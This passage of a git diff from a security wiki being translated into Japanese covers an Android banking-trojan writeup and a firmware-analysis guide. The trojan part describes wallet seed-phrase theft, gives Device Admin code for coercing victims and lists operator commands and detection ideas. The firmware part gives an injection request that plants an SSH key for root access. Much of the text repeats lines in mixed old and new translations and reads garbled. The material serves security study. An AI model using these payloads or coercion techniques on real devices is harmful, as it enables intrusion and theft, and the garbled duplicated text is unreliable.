}
```
Example texts seen in one target flow (CZ → EN):
- "Nová platba" → "新しい支払い"
あるターゲットフローで見られた例文 (CZ → EN):
- "Nová platba" → "新規支払い"
- "Zadat platbu" → "支払いを入力"
- "Nový příjemce" → "新しい受取人"
- "Nový příjemce" → "新規受取人"
- "Domácí číslo účtu" → "国内口座番号"
- "Další" → "次へ"
- "Odeslat" → "送信"
- "Ano, pokračovat" → "はい、続行する"
- "Ano, pokračovat" → "はい、続ける"
- "Zaplatit" → "支払う"
- "Hotovo" → "完了"
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
オペレーターは、`check_limit` や `limit` のようなコマンドを使って、同様に限度額のUIを操作し、送金限度を確認・引き上げることもできます。
オペレーターは、`check_limit` や `limit` のようなコマンドを使って、同様に制限の UI を操作し、送金限度を確認または引き上げることもできます。
### Crypto wallet seed extraction
対象は MetaMask、Trust Wallet、Blockchain.com、Phantom のようなアプリ。フロー: unlock（盗んだ PIN または提供された password）、Security/Recovery に移動して seed phrase を表示、keylog/exfiltrate it。ナビゲーションを言語間で安定させるために、locale-aware selectors (EN/RU/CZ/SK) を実装する。
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: ロック解除（盗まれたPINまたは提供されたパスワード）、Security/Recovery に移動、seed phrase を表示/公開、keylog/exfiltrate する。言語間のナビゲーションを安定させるため、locale-aware セレクタ（EN/RU/CZ/SK）を実装する。
### Device Admin coercion
Device Admin APIs は、PIN 捕獲の機会を増やし、被害者を困らせるために使用されます:
Device Admin APIs は PIN 把握の機会を増やし、被害者を苛立たせるために使用される:
- 即時ロック:
```java
dpm.lockNow();
```
- 現在の認証情報を期限切れにして変更を強制する（Accessibility が新しい PIN/パスワードを取得する）:
- 現在の credential を期限切れにして変更を強制する (Accessibility が新しい PIN/password を取得する):
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
- keyguard の生体認証機能を無効化して、非生体認証でのロック解除を強制する：
- keyguard biometric features を無効化して、非生体認証でのロック解除を強制する:
```java
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
注意: 多くの DevicePolicyManager 制御は最近の Android で Device Owner/Profile Owner を必要とします; 一部の OEM ビルドは緩い場合があります。常にターゲットの OS/OEM 上で検証してください。
Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
### NFC リレーのオーケストレーション (NFSkate)
Stage-3 は外部の NFC-relay モジュール（例: NFSkate）をインストールして起動し、リレー中に被害者を誘導するための HTML テンプレートを渡すことさえできます。これにより、オンライン ATS と並行した非接触カード提示によるキャッシュアウトが可能になります。
### NFC relay orchestration (NFSkate)
Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
背景: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
### Operator command set (sample)
- UI/状態: `txt_screen`, `screen_live`, `display`, `record`
- ソーシャル: `send_push`, `Facebook`, `WhatsApp`
- オーバーレイ: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
- ウォレット: `metamask`, `trust`, `blockchain`, `phantom`
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
- Social: `send_push`, `Facebook`, `WhatsApp`
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
- ATS: `transfer`, `check_limit`, `limit`
- デバイス: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- 通信/偵察: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
- NFC: `nfs`, `nfs_inject`
### 検出と防御のアイデア (RatOn スタイル)
- インストーラー/権限メソッドを公開する `addJavascriptInterface()` を使った WebView を探索する; Accessibility プロンプトを引き起こす “/access” で終わるページに注目する。
- サービスアクセス付与直後に高頻度の Accessibility ジェスチャ/クリックを生成するアプリにアラートを出す; Accessibility ノードダンプに似たテレメトリを C2 に送信する挙動を監視する。
- 信頼されていないアプリでの Device Admin ポリシー変更を監視する: `lockNow`、パスワードの有効期限設定、keyguard 機能の切り替え。
- 非企業アプリからの MediaProjection プロンプトと、それに続く定期的なフレームアップロードを検知したらアラートを上げる。
- 別のアプリによってトリガーされる外部 NFC-relay アプリのインストール/起動を検出する。
- 銀行向け: out-of-band 確認、生体認証バインディング、オンデバイスの自動化に耐性のある取引制限を施行する。
### Detection & defence ideas (RatOn-style)
- WebView で `addJavascriptInterface()` を使い installer/permission メソッドを公開しているもの、Accessibility プロンプトを誘発する “/access” で終わるページを探索する。
- サービスアクセス付与直後に高頻度の Accessibility ジェスチャ/クリックを発生させるアプリや、Accessibility node dumps に類似したテレメトリを C2 に送信する挙動を検知してアラートする。
- 信頼されていないアプリによる Device Admin ポリシーの変更を監視する: `lockNow`、パスワード有効期限、keyguard 機能のトグルなど。
- 非企業アプリからの MediaProjection プロンプトと、それに続く定期的なフレームアップロードを検出してアラートする。
- 別のアプリによってトリガーされて外部 NFC-relay アプリがインストール/起動されることを検出する。
- 銀行系対策: out-of-band 確認、バイオメトリクスのバインディング、オンデバイス自動化に耐性のある取引上限を強制する。
## References
## 参考
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
@ -362,5 +399,8 @@ Stage-3 は外部の NFC-relay モジュール（例: NFSkate）をインスト
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
- [Socket.IO](https://socket.io)
{{#include ../../banners/hacktricks-training.md}}

222
src/hardware-physical-access/firmware-analysis/README.md
View File

@ -1,4 +1,4 @@
# ファームウェア分析
# ファームウェア解析
{{#include ../../banners/hacktricks-training.md}}
@ -11,43 +11,47 @@
synology-encrypted-archive-decryption.md
{{#endref}}
{{#ref}}
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
ファームウェアは、デバイスが正しく動作するために必要なソフトウェアであり、ハードウェアコンポーネントとユーザーが対話するソフトウェア間の通信を管理し促進します。これは永続メモリに保存されており、デバイスが電源を入れた瞬間から重要な指示にアクセスできるようにし、オペレーティングシステムの起動につながります。ファームウェアを調査し、潜在的に修正することは、セキュリティの脆弱性を特定するための重要なステップです。
ファームウェアは、デバイスが正しく動作するためにハードウェアコンポーネントとユーザーが扱うソフトウェア間の通信を管理・仲介する重要なソフトウェアです。不揮発性メモリに格納され、電源投入直後からデバイスが必要な命令へアクセスできるようにしてOSの起動に繋がります。ファームウェアを調査し、場合によっては改変することは、セキュリティ脆弱性を特定する上で重要なステップです。
## **情報収集**
**情報収集**は、デバイスの構成や使用されている技術を理解するための重要な初期ステップです。このプロセスには、以下のデータを収集することが含まれます：
**情報収集** は、デバイスの構成や使用技術を理解するための重要な初期段階です。このプロセスでは次のようなデータを収集します:
- CPUアーキテクチャと実行されているオペレーティングシステム
- ブートローダーの詳細
- ハードウェアレイアウトとデータシート
- コードベースのメトリクスとソースの場所
- 外部ライブラリとライセンスの種類
- CPUアーキテクチャと実行しているOS
- ブートローダの詳細
- ハードウェアのレイアウトとデータシート
- コードベースのメトリクスとソースの所在
- 外部ライブラリとライセンス種別
- 更新履歴と規制認証
- アーキテクチャ図とフローダイアグラム
- アーキテクチャ図やフロー図
- セキュリティ評価と特定された脆弱性
この目的のために、**オープンソースインテリジェンス（OSINT）**ツールは非常に貴重であり、手動および自動レビュープロセスを通じて利用可能なオープンソースソフトウェアコンポーネントの分析も重要です。[Coverity Scan](https://scan.coverity.com)や[Semmle’s LGTM](https://lgtm.com/#explore)のようなツールは、潜在的な問題を見つけるために活用できる無料の静的分析を提供します。
この目的には、**open-source intelligence (OSINT)** ツールが非常に有用であり、入手可能なオープンソースソフトウェアコンポーネントを手動・自動でレビューして解析することも重要です。Tools like [Coverity Scan](https://scan.coverity.com) and [Semmle’s LGTM](https://lgtm.com/#explore) は、潜在的な問題を見つけるために活用できる無料の静的解析を提供しています。
## **ファームウェアの取得**
## **ファームウェアの入手**
ファームウェアを取得する方法はいくつかあり、それぞれ異なる複雑さがあります：
ファームウェアの入手方法はいくつかあり、それぞれ難易度が異なります:
- **直接**ソース（開発者、製造業者）から
- **提供された指示**から構築する
- **公式サポートサイト**からダウンロードする
- ホストされたファームウェアファイルを見つけるために**Google dork**クエリを利用する
- [S3Scanner](https://github.com/sa7mon/S3Scanner)のようなツールを使って**クラウドストレージ**に直接アクセスする
- 中間者攻撃技術を介して**更新**を傍受する
- **UART**、**JTAG**、または**PICit**のような接続を通じてデバイスから**抽出**する
- デバイス通信内での更新要求を**スニッフィング**する
- **ハードコーディングされた更新エンドポイント**を特定して使用する
- ブートローダーまたはネットワークから**ダンプ**する
- すべてが失敗した場合、適切なハードウェアツールを使用してストレージチップを**取り外して読み取る**
- **直接** 開発者やメーカーから入手
- **Building** 提供された手順からビルドする
- **Downloading** 公式サポートサイトからダウンロード
- ホストされているファームウェアファイルを見つけるために**Google dork**クエリを利用
- [S3Scanner](https://github.com/sa7mon/S3Scanner) のようなツールで**クラウドストレージ**へ直接アクセス
- man-in-the-middle 技術を用いて**updates**を傍受
- **Extracting** デバイスから **UART**, **JTAG**, または **PICit** のような接続経由で抽出
- デバイス通信内の更新リクエストを監視する**Sniffing**
- ハードコードされた更新エンドポイントを特定して利用
- ブートローダやネットワークからの**Dumping**
- それでも駄目な場合、適切なハードウェアツールを使ってストレージチップを**取り外し・読み取り**
## ファームウェアの分析
## ファームウェアの解析
ファームウェアを**取得した**ので、それに関する情報を抽出してどのように扱うかを知る必要があります。そのために使用できるさまざまなツールがあります：
**ファームウェアを入手したので**、処理方法を決めるためにその情報を抽出する必要があります。これに使える様々なツール:
```bash
file <bin>
strings -n8 <bin>
@ -56,24 +60,24 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
画像の**エントロピー**を`binwalk -E <bin>`で確認し、エントロピーが低ければ暗号化されていない可能性が高いです。エントロピーが高ければ、暗号化されている（または何らかの方法で圧縮されている）可能性があります。
もしこれらのツールであまり見つからない場合は、`binwalk -E <bin>` でイメージの **entropy** を確認してください。entropy が低ければ暗号化されている可能性は低く、entropy が高ければ暗号化されている（あるいは何らかの方法で圧縮されている）可能性が高いです。
さらに、これらのツールを使って **ファームウェア内に埋め込まれたファイル** を抽出できます:
さらに、これらのツールを使用して**ファームウェア内に埋め込まれたファイル**を抽出できます：
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
または[**binvis.io**](https://binvis.io/#/)（[code](https://code.google.com/archive/p/binvis/)）を使用してファイルを検査します。
あるいは [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) を使ってファイルを確認できます。
### ファイルシステムの取得
### Getting the Filesystem
前述のツール`binwalk -ev <bin>`を使用して**ファイルシステムを抽出**できたはずです。\
Binwalkは通常、**ファイルシステムのタイプに名前を付けたフォルダー**内に抽出します。通常、以下のいずれかです：squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
`binwalk -ev <bin>` のような前述のツールを使えば、**ファイルシステムを抽出できているはずです**.\ Binwalk は通常、抽出したものを **ファイルシステムの種類を名前にしたフォルダ** 内に保存します。通常、以下のいずれかです: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### 手動ファイルシステム抽出
#### Manual Filesystem Extraction
場合によっては、binwalkが**ファイルシステムのマジックバイトをシグネチャに持っていない**ことがあります。このような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し**、以下の手順に従ってそのタイプに応じて**手動でファイルシステムを抽出**します。
場合によっては、binwalk のシグネチャにファイルシステムの **マジックバイトが含まれていない** ことがあります。このような場合は、binwalk を使って **ファイルシステムのオフセットを特定し、バイナリから圧縮されたファイルシステムを切り出す** ことで、以下の手順に従ってファイルシステムを **手動で抽出** してください。
```
$ binwalk DIR850L_REVB.bin
@ -85,7 +89,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
次の**ddコマンド**を実行して、Squashfsファイルシステムを切り出します。
以下の **dd command** を実行して Squashfs filesystem をカービングしてください。
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -95,37 +99,37 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
代わりに、次のコマンドを実行することもできます。
Alternatively, the following command could also be run.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- squashfs（上記の例で使用）
- For squashfs (used in the example above)
`$ unsquashfs dir.squashfs`
ファイルはその後"`squashfs-root`"ディレクトリにあります。
Files will be in "`squashfs-root`" directory afterwards.
- CPIOアーカイブファイル
- CPIO archive files
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- jffs2ファイルシステムの場合
- For jffs2 filesystems
`$ jefferson rootfsfile.jffs2`
- NANDフラッシュを使用したubifsファイルシステムの場合
- For ubifs filesystems with NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## ファームウェアの分析
## ファームウェアの解析
ファームウェアが取得されたら、その構造と潜在的な脆弱性を理解するために解剖することが重要です。このプロセスでは、ファームウェアイメージから貴重なデータを分析し抽出するためにさまざまなツールを利用します。
ファームウェアを取得したら、その構造や潜在的な脆弱性を理解するために解析することが重要です。このプロセスでは、ファームウェアイメージから有用なデータを解析・抽出するためにさまざまなツールを使用します。
### 初期分析ツール
### 初期解析ツール
バイナリファイル（`<bin>`と呼ばれる）の初期検査のためのコマンドセットが提供されています。これらのコマンドは、ファイルタイプの特定、文字列の抽出、バイナリデータの分析、およびパーティションとファイルシステムの詳細の理解に役立ちます：
以下は、バイナリファイル（`<bin>`と呼ぶ）の初期検査に使用するコマンド群です。これらのコマンドは、ファイルタイプの特定、文字列抽出、バイナリデータの解析、パーティションやファイルシステムの詳細把握に役立ちます:
```bash
file <bin>
strings -n8 <bin>
@ -134,137 +138,137 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
画像の暗号化状態を評価するために、**entropy**は`binwalk -E <bin>`でチェックされます。低いエントロピーは暗号化の欠如を示唆し、高いエントロピーは暗号化または圧縮の可能性を示します。
イメージの暗号化状態を評価するために、**エントロピー**を`binwalk -E <bin>`で確認します。エントロピーが低い場合は暗号化されていないことを示唆し、エントロピーが高い場合は暗号化または圧縮の可能性を示します。
**埋め込まれたファイル**を抽出するために、**file-data-carving-recovery-tools**のドキュメントやファイル検査のための**binvis.io**などのツールとリソースが推奨されます。
埋め込みファイルを抽出するために、**file-data-carving-recovery-tools**のドキュメントやファイル検査用の**binvis.io**のようなツールやリソースが推奨されます。
### ファイルシステムの抽出
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプ（例：squashfs、ubifs）にちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出します。
`binwalk -ev <bin>` を使うと、通常ファイルシステムを抽出でき、多くの場合ファイルシステムタイプ（例: squashfs、ubifs）にちなんだディレクトリに展開されます。しかし、マジックバイトが欠けているために **binwalk** がファイルシステムタイプを認識できない場合は、手動での抽出が必要です。これには `binwalk` でファイルシステムのオフセットを特定し、続いて `dd` コマンドでファイルシステムを切り出す作業が含まれます：
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
その後、ファイルシステムのタイプ（例：squashfs、cpio、jffs2、ubifs）に応じて、異なるコマンドが使用されて手動で内容を抽出します。
その後、ファイルシステムのタイプ（例：squashfs、cpio、jffs2、ubifs）に応じて、内容を手動で展開するために異なるコマンドが使用されます。
### ファイルシステム分析
### ファイルシステム解析
ファイルシステムが抽出されると、セキュリティの欠陥を探す作業が始まります。注意が払われるのは、安全でないネットワークデーモン、ハードコーディングされた認証情報、APIエンドポイント、更新サーバーの機能、未コンパイルのコード、スタートアップスクリプト、オフライン分析用のコンパイル済みバイナリです。
ファイルシステムを展開した後、セキュリティ上の欠陥を探し始めます。特に注意する項目は、脆弱なネットワークデーモン、ハードコードされた資格情報、API endpoints、更新サーバー機能、未コンパイルのコード、起動スクリプト、およびオフライン解析用のコンパイル済みバイナリです。
**検査すべき主要な場所**と**項目**には以下が含まれます：
**主に確認すべき場所** と **項目** は次のとおりです：
- **etc/shadow** と **etc/passwd** のユーザー認証情報
- **etc/ssl** のSSL証明書とキー
- 潜在的な脆弱性のための設定ファイルとスクリプトファイル
- さらなる分析のための埋め込まれたバイナリ
- 一般的なIoTデバイスのウェブサーバーとバイナリ
- **etc/shadow** および **etc/passwd**（ユーザー資格情報）
- **etc/ssl** にあるSSL証明書と鍵
- 潜在的な脆弱性を含む設定ファイルやスクリプト
- 追加解析のための組み込みバイナリ
- 一般的なIoTデバイスの web サーバーやバイナリ
いくつかのツールがファイルシステム内の機密情報や脆弱性を明らかにするのを助けます：
ファイルシステム内の機密情報や脆弱性を発見するのに役立つツール：
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) と [**Firmwalker**](https://github.com/craigz28/firmwalker) の機密情報検索
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) の包括的なファームウェア分析
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go)、および [**EMBA**](https://github.com/e-m-b-a/emba) の静的および動的分析
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) と [**Firmwalker**](https://github.com/craigz28/firmwalker)：機密情報の検索用
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core)：包括的なファームウェア解析用
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go)、および [**EMBA**](https://github.com/e-m-b-a/emba)：for static and dynamic analysis
### コンパイル済みバイナリのセキュリティチェック
ファイルシステム内で見つかったソースコードとコンパイル済みバイナリは、脆弱性のために精査されなければなりません。Unixバイナリ用の**checksec.sh**やWindowsバイナリ用の**PESecurity**のようなツールは、悪用される可能性のある保護されていないバイナリを特定するのに役立ちます。
ファイルシステム内で見つかったソースコードとコンパイル済みバイナリの両方を脆弱性について精査する必要があります。Unixバイナリ向けの **checksec.sh** や Windowsバイナリ向けの **PESecurity** のようなツールは、悪用可能な保護のないバイナリを特定するのに役立ちます。
## 動的分析のためのファームウェアのエミュレーション
## ファームウェアをエミュレートして Dynamic Analysis を行う
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piのような一致するアーキテクチャとエンディアンネスを持つデバイスや、事前構築された仮想マシンに転送することで、さらなるテストが容易になります。
ファームウェアをエミュレートすることで、デバイス全体の動作や個々のプログラムの dynamic analysis が可能になります。この方法はハードウェアやアーキテクチャ依存の問題に直面することがありますが、ルートファイルシステムや特定のバイナリを、アーキテクチャとエンディアンが一致するデバイス（例：Raspberry Pi）や事前構築された仮想マシンに移すことで、さらなるテストが容易になります。
### 個々のバイナリのエミュレーション
単一のプログラムを調べるためには、プログラムのエンディアンネスとCPUアーキテクチャを特定することが重要です。
単一のプログラムを解析する場合、プログラムのエンディアンとCPUアーキテクチャを特定することが重要です。
#### MIPSアーキテクチャの例
#### MIPS アーキテクチャの例
MIPSアーキテクチャのバイナリをエミュレートするには、次のコマンドを使用できます：
```bash
file ./squashfs-root/bin/busybox
```
必要なエミュレーションツールをインストールするには:
そして、必要なエミュレーションツールをインストールするには:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
MIPS（ビッグエンディアン）用には `qemu-mips` が使用され、リトルエンディアンバイナリ用には `qemu-mipsel` が選択されます。
For MIPS (big-endian), `qemu-mips` is used, and for little-endian binaries, `qemu-mipsel` would be the choice.
#### ARMアーキテクチャエミュレーション
#### ARM Architecture Emulation
ARMバイナリの場合、プロセスは似ており、エミュレーションには `qemu-arm` エミュレーターが利用されます。
For ARM binaries, the process is similar, with the `qemu-arm` emulator being utilized for emulation.
### フルシステムエミュレーション
### Full System Emulation
[Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) などのツールは、フルファームウェアエミュレーションを容易にし、プロセスを自動化し、動的分析を支援します。
Tools like [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), and others, facilitate full firmware emulation, automating the process and aiding in dynamic analysis.
## 実践における動的分析
## Dynamic Analysis in Practice
この段階では、実際のデバイス環境またはエミュレートされたデバイス環境が分析に使用されます。OSおよびファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアの相互作用を完全に模倣できない場合があるため、時折エミュレーションを再起動する必要があります。分析はファイルシステムを再訪し、公開されたウェブページやネットワークサービスを悪用し、ブートローダーの脆弱性を探るべきです。ファームウェアの整合性テストは、潜在的なバックドアの脆弱性を特定するために重要です。
この段階では、実機またはエミュレートしたデバイス環境のいずれかを用いて解析を行います。OS とファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアとの相互作用を完全には再現しない場合があり、そのためエミュレーションの再起動が必要になることがあります。解析ではファイルシステムを再確認し、公開されているウェブページやネットワークサービスを悪用し、ブートローダの脆弱性を調査するべきです。ファームウェアの整合性テストは、バックドアとなりうる脆弱性を特定するために重要です。
## 実行時分析技術
## Runtime Analysis Techniques
実行時分析は、gdb-multiarch、Frida、Ghidraなどのツールを使用して、プロセスまたはバイナリとその動作環境で相互作用し、ブレークポイントを設定し、ファジングやその他の技術を通じて脆弱性を特定します。
ランタイム解析は、プロセスやバイナリをその実行環境で操作することを含み、ブレークポイントの設定や fuzzing などの手法で脆弱性を特定するために gdb-multiarch、Frida、Ghidra のようなツールを使用します。
## バイナリの悪用と概念実証
## Binary Exploitation and Proof-of-Concept
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャと低レベル言語でのプログラミングに関する深い理解が必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターン指向プログラミング（ROP）などの技術が必要になることがあります。
既知の脆弱性に対する PoC を開発するには、ターゲットアーキテクチャの深い理解と低レベル言語でのプログラミングが必要です。組み込みシステムではバイナリのランタイム保護は稀ですが、存在する場合は Return Oriented Programming (ROP) のような手法が必要になることがあります。
## ファームウェア分析のための準備されたオペレーティングシステム
## Prepared Operating Systems for Firmware Analysis
[AttifyOS](https://github.com/adi0x90/attifyos) や [EmbedOS](https://github.com/scriptingxss/EmbedOS) のようなオペレーティングシステムは、必要なツールを備えたファームウェアセキュリティテストのための事前構成された環境を提供します。
Operating systems like [AttifyOS](https://github.com/adi0x90/attifyos) and [EmbedOS](https://github.com/scriptingxss/EmbedOS) provide pre-configured environments for firmware security testing, equipped with necessary tools.
## ファームウェアを分析するための準備されたOS
## Prepared OSs to analyze Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOSは、IoTデバイスのセキュリティ評価とペネトレーションテストを行うためのディストリビューションです。必要なツールがすべてロードされた事前構成された環境を提供することで、多くの時間を節約します。
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): ファームウェアセキュリティテストツールがプリロードされたUbuntu 18.04に基づく組み込みセキュリティテストオペレーティングシステムです。
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS は Internet of Things (IoT) デバイスの security assessment と penetration testing を行うためのディストリビューションです。必要なツールがプリコンフィグ済みで全てロードされている環境を提供することで、多くの時間を節約できます。
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ubuntu 18.04 をベースとした embedded security testing 用のオペレーティングシステムで、ファームウェアセキュリティテスト用のツールがプリロードされています。
## ファームウェアダウングレード攻撃と安全でない更新メカニズム
## Firmware Downgrade Attacks & Insecure Update Mechanisms
ベンダーがファームウェアイメージの暗号署名チェックを実装しても、**バージョンロールバック（ダウングレード）保護はしばしば省略されます**。ブートローダーまたはリカバリーローダーが埋め込まれた公開鍵で署名を検証するだけで、フラッシュされるイメージの*バージョン*（または単調カウンター）を比較しない場合、攻撃者は**有効な署名を持つ古い脆弱なファームウェアを正当にインストール**でき、修正された脆弱性を再導入することができます。
ベンダーがファームウェアイメージに対して暗号署名のチェックを実装していても、**version rollback (downgrade) protection はしばしば欠如しています**。ブートローダやリカバリーローダが埋め込み公開鍵で署名のみを検証し、フラッシュされるイメージの *version*（または単調増加カウンタ）を比較しない場合、攻撃者は合法的に有効な署名を保持した **古い脆弱なファームウェアをインストール** でき、パッチ済みの脆弱性を再導入できます。
典型的な攻撃ワークフロー：
Typical attack workflow:
1. **古い署名済みイメージを取得**
* ベンダーの公開ダウンロードポータル、CDN、またはサポートサイトから取得します。
* 付属のモバイル/デスクトップアプリケーションから抽出します（例：Android APKの `assets/firmware/` 内）。
* VirusTotal、インターネットアーカイブ、フォーラムなどのサードパーティリポジトリから取得します。
2. **イメージをデバイスにアップロードまたは提供** します：
* Web UI、モバイルアプリAPI、USB、TFTP、MQTTなど。
* 多くの消費者向けIoTデバイスは、Base64エンコードされたファームウェアブロブを受け入れる*認証されていない* HTTP(S) エンドポイントを公開し、サーバー側でデコードし、リカバリ/アップグレードをトリガーします。
3. ダウングレード後、最新のリリースで修正された脆弱性を悪用します（例えば、後で追加されたコマンドインジェクションフィルターなど）。
4. オプションで、最新のイメージを再フラッシュするか、持続性を得た後に検出を避けるために更新を無効にします。
1. **Obtain an older signed image**
* ベンダーの公開ダウンロードポータル、CDN、またはサポートサイトから入手する。
* コンパニオンのモバイル/デスクトップアプリケーションから抽出する（例：Android APK 内の `assets/firmware/` に含まれる場合）。
* VirusTotal、Internet archives、フォーラムなどのサードパーティリポジトリから取得する。
2. **Upload or serve the image to the device** via any exposed update channel:
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
* 多くのコンシューマ向け IoT デバイスは *unauthenticated* な HTTP(S) エンドポイントを公開しており、Base64-encoded なファームウェアブロブを受け取り、サーバー側でデコードしてリカバリ/アップグレードをトリガーします。
3. ダウングレード後、新しいリリースでパッチされた脆弱性を悪用する（例えば後から追加された command-injection フィルタなど）。
4. 永続化を得た後、検出を避けるためにオプションで最新のイメージに再フラッシュするか、更新を無効にする。
### 例：ダウングレード後のコマンドインジェクション
### 例: Command Injection のダウングレード後
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
脆弱な（ダウングレードされた）ファームウェアでは、`md5`パラメータがサニタイズされることなくシェルコマンドに直接連結されており、任意のコマンドの注入を可能にしています（ここでは、SSHキーによるルートアクセスの有効化）。後のファームウェアバージョンでは基本的な文字フィルタが導入されましたが、ダウングレード保護が欠如しているため、修正は無意味です。
脆弱な（ダウングレードされた）ファームウェアでは、`md5` パラメータがサニタイズされずに直接シェルコマンドに連結されており、任意のコマンドを注入できる（ここでは SSH key-based root access を有効にする）。後続のファームウェアバージョンでは基本的な文字フィルタが導入されたが、ダウングレード保護がないため修正は意味を成さない。
### モバイルアプリからのファームウェアの抽出
### モバイルアプリからのファームウェア抽出
